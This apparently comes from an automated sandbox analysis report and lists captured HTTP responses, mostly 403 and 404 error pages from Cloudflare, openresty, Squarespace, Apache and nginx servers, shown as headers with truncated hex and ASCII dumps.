Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:07 GMTContent-Type: text/htmlContent-Length: 19268Connection: keep-aliveServer: ApacheLast-Modified: Fri, 13 May 2022 08:04:11 GMTAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 59 61 6b 75 48 61 6e 4a 50 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 e3 82 b7 e3 83 83 e3 82 af 2c 20 22 48 69 72 61 67 69 6e 6f 20 53 61 6e 73 22 2c 20 22 e3 83 92 e3 83 a9 e3 82 ae e3 83 8e e8 a7 92 e3 82 b4 20 50 72 6f 4e 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 4e 22 2c 20 56 65 72 64 61 6e 61 2c 20 4d 65 69 72 79 6f 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 30 33 32 33 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 30 70 78 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 30 2e 30 35 65 6d 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 34 72 65 6d 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 61 20 7b 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 34 37 45 46 30 3b 0a 20 20 20 20 20 20 7d 0a 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CVg7ENGZDsMNEYCyHqUSiSpgaMwHaLIJ0dbGebWzhWRF%2Fp3BNKUHlwfN60%2BYxYieNQhJgMgx1zV85zNhXOLoFFafT%2FwNpJnBIc7f9PnbGWPz4lfI09nJ5YLZK50FLJLE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e0f69372cd2-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex,
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4514Connection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=95iGnzgawSKJ0X1%2BJtXpiTiITxLd1xAWi5bYETTBoDn35ejiMBBD2i3kPdsCIQUncTiziQJl6RysgVzxn5iQHG2vQi73FV8HjoKLyp7H08WtLLB2dUPedUU4iFDTXCCv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e148c4a45f0-DFWData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f Data Ascii: <!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:08 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:09 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:09 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: LmNZNoXI/9dnphcO1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:10 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:10 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:10 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:10 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: PwVHbvKI/8WNTgK5lData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 